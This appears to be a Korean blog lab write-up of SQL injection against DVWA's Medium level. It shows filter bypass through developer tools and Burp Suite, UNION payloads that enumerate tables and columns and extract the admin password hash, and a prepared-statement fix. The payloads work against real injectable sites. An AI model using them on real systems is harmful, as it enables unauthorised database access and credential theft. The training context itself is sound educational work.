이번 실습은 DVWA의 SQL Injection(Medium) 보안 단계에 대한 실습이다. 이전 Low 단계에서는 작은따옴표 ' 등을 직접 삽입하여 손쉽게 인젝션이 가능했지만, Medium 단계에서는 mysqli_real_escape_string() 함수가 적용되어 있어 단순한 인젝션은 필터링된다. 이번 실습에서는 개발자 도구 (F12)와 Burp Suite 그리고 URL 디코딩 도구까지 활용하여 필터링 우회 및 데이터베이스 정보 수집을 진행하였다.
1. 실습 환경
- DVWA 보안 단계 : Medium
- 사용 도구 :
- 웹 브라우저 (F12 개발자 도구)
- Burp Suite
- https://www.urldecoder.org/
URL Decode and Encode - Online
Decode from URL-encoded format or encode into it with various advanced options. Our site has an easy to use online tool to convert your data.
www.urldecoder.org
- 기타 : PHP, MySQL, DVWA
2. 소스 코드 분석
/vulnerabilities/sqli/source/medium.php 내부 코드를 보면 다음과 같이 필터링 로직이 있다
$id = $_POST['id'];
$id = mysqli_real_escape_string($conn, $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
- 사용자의 입력값을 mysqli_real_escape_string() 함수로 이스케이프 처리하고 있지만,
- 숫자 기반 인젝션과 UNION, OR, AND 같은 연산자는 여전히 우회 가능하다.
3. 실습 1단계 - F12 개발자 도구로 필터링 우회
브라우저에서 직접 쿼리 조작
1. Medium 단계 페이지 접속 후, ID 입력창에 1 or 1=1을 넣으면 자동으로 필터링되어 '1 or 1=1'처럼 바뀐다.
2. 이 상태에서 우회하기 위해 F12 개발자 도구 (Elements 탭)을 열고 다음과 같이 option 태그를 수정한다.
<option value="1 or 1=1">1 or 1=1</option>
3. 수동으로 수정 후, 전송하면 다음과 같은 쿼리가 실행된다
SELECT first_name, last_name FROM users WHERE user_id = 1 OR 1=1;
4. 모든 사용자 정보가 출력되면 우회 성공!!
4. 실습 2단계 - Burp Suite를 통한 우회 공격
요청 캡쳐 및 조작
1. Burp Suite 실행 후 브라우저 프록시 설정
2. ID 입력창에 1 OR 1=1 입력 후 전송 => Burp에서 요청 가로채기
3. Burp Repeater로 전송 내용을 이동하여 인젝션 페이로드 실험
POST /vulnerabilities/sqli/ HTTP/1.1
...
id=1+OR+1%3D1&Submit=Submit
- %3D => =
- %2F => /
- %23 => #
- 인코딩 된 특수문자가 포함되어 있어 정확한 확인이 필요하다.
5. URL 디코딩 도구 활용
Burp Suite나 브라우저에서 자동 URL 인코딩 된 문자열을 디코딩할 때는 https://www.urldecoder.org/ 을 사용하였다.
예시
1%20OR%201%3D1%20UNION%20SELECT%20null%2Cuser%28%29%23
=> 디코딩 결과 :
1 OR 1=1 UNION SELECT null, user() #
이 쿼리는 현재 DB 사용자 확인을 위한 인젝션 쿼리이다.
6. 정보 수집 -- 테이블명과 컬럼명 추출
테이블명 추출
1 and 1=1 union select null, table_name from information_schema.tables #
결과
First name:
Surname: users
Surname: guestbook
Surname: CHARACTER_SETS
...
컬럼명 추출 (users 테이블)
1 and 1=1 union select null, column_name from information_schema.columns where table_name='users' #
결과
First name:
Surname: user
Surname: password
Surname: avatar
...
7. 사용자 정보 및 비밀번호 해시 추출
1 OR 1=1 UNION SELECT user, password FROM dvwa.users #
- dvwa.users 테이블에서 실제 사용자 계정 정보 확인 가능
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
※ 실제 비밀번호는 해시된 상태로 노출되며, 이는 md5('password')로 해시된 예제 비밀번호이다.
8. 실습 정리
항목 | 결과 |
F12 개발자 도구로 조작 | 성공 |
Burp Suite를 통한 인젝션 | 성공 |
URL 디코딩 후 정확한 쿼리 구성 | 성공 |
테이블 및 컬럼 정보 수집 | 성공 |
사용자 정보 추출 | 성공 |
필터링 우회 방식 | 숫자 기반 논리 연산자 사용 |
9. 방어 방안
Prepared Statement 사용
$stmt = $conn->prepare("SELECT * FROM users WHERE user_id = ?");
$stmt->bind_param("i", $id);
쿼리와 데이터를 완전히 분리하여 injection을 원천 차단한다.
10. 마무리
이번 실습에서는 단순한 문자열 이스케이프 필터링만으로는 SQL Injection을 완벽히 방어할 수 없다는 점을 확인했다. F12 개발자 도구와 Burp Suite 그리고 URL 디코더를 병행해서 인코딩 우회, 서버 응답 분석, 쿼리 조작을 통해 침투 테스트 시나리오를 쉽게 구성할 수 있었다. 실습을 통해 보안 개발과 해킹 기법 양쪽을 동시에 이해할 수 있었던 유의미한 경험이었다.
이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.
모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.
'웹 해킹 & 보안' 카테고리의 다른 글
[웹 모의해킹] Blind SQL Injection 실습 - Low / Medium / High (2) | 2025.06.05 |
---|---|
[웹 모의해킹] SQL Injection 3 - High 단계 실습 (2) | 2025.06.05 |
[웹 모의해킹] SQL Injection 실습 - 1편 - Low 단계 (2) | 2025.06.05 |
[웹 모의해킹] CAPTCHA - CAPTCHA 우회 실습 - 2편 (0) | 2025.06.04 |
[웹 모의해킹] CAPTCHA - 이미지 기반 인증 우회 실습 - 1편 (4) | 2025.06.04 |